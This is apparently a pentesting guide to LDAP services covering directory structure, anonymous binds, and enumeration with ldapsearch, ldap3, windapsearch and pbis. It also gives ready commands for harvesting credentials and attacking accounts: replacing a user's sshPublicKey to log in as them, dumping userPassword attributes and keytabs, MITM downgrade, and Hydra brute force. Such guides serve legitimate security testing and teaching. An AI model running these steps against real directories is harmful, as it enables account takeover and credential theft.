# 389, 636, 3268, 3269 - Pentesting LDAP
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The use of **LDAP** (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. LDAP directories are structured to allow their distribution across several servers, with each server housing a **replicated** and **synchronized** version of the directory, referred to as a Directory System Agent (DSA). Responsibility for handling requests lies entirely with the LDAP server, which may communicate with other DSAs as needed to deliver a unified response to the requester. The LDAP directory's organization resembles a **tree hierarchy, starting with the root directory at the top**. This branches down to countries, which further divide into organizations, and then to organizational units representing various divisions or departments, finally reaching the individual entities level, including both people and shared resources like files and printers. **Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAP Data Interchange Format LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename). ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * Lines 1-3 define the top level domain local * Lines 5-8 define the first level domain moneycorp (moneycorp.local) * Lines 10-16 define 2 organizational units: dev and sales * Lines 18-26 create an object of the domain and assign attributes with values ## Write data Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## Sniff clear text credentials If LDAP is used without SSL you can **sniff credentials in plain text** in the network. Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login. **If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again. ## Anonymous Access ### Bypass TLS SNI check According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonymous binds [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.\ However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD. ## Valid Credentials If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) ## Enumeration ### Automated Using this you will be able to see the **public information** (like the domain name)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
See LDAP enumeration with python You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3` First try to **connect without** credentials: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP (like the **naming context** or **domain name**) server from: ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` Or **dump** the whole ldap: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch Check null credentials or if your credentials are valid: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` If you find something saying that the "_bind must be completed_" means that the credentials are incorrect. You can extract **everything from a domain** using: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` Extract **users**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` Extract **computers**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` Extract **my info**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Domain Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Domain Users**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Administrators**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Remote Desktop Group**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` To see if you have access to any password you can use grep after executing one of the queries: ```bash | grep -i -A2 -B2 "userpas" ``` Please, notice that the passwords that you can find here could not be the real ones... #### pbis You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\ **Pbis** allow you to get basic information easily: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## Graphical Interface ### Apache Directory [**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). ### jxplorer You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) By default is is installed in: _/opt/jxplorer_ ![](<../.gitbook/assets/image (482).png>) ### Godap You can access it in [https://github.com/Macmod/godap](https://github.com/Macmod/godap) ## Authentication via kerberos Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI` ## POST If you can access the files where the databases are contained (could be in _/var/lib/ldap_). You can extract the hashes using: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural'). ### Configuration Files * General * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * IBM SecureWay V3 server * V3.sas.oc * Microsoft Active Directory server * msadClassesAttrs.ldif * Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * OpenLDAP directory server * slapd.sas\_at.conf * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ## HackTricks Automatic Commands ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ```
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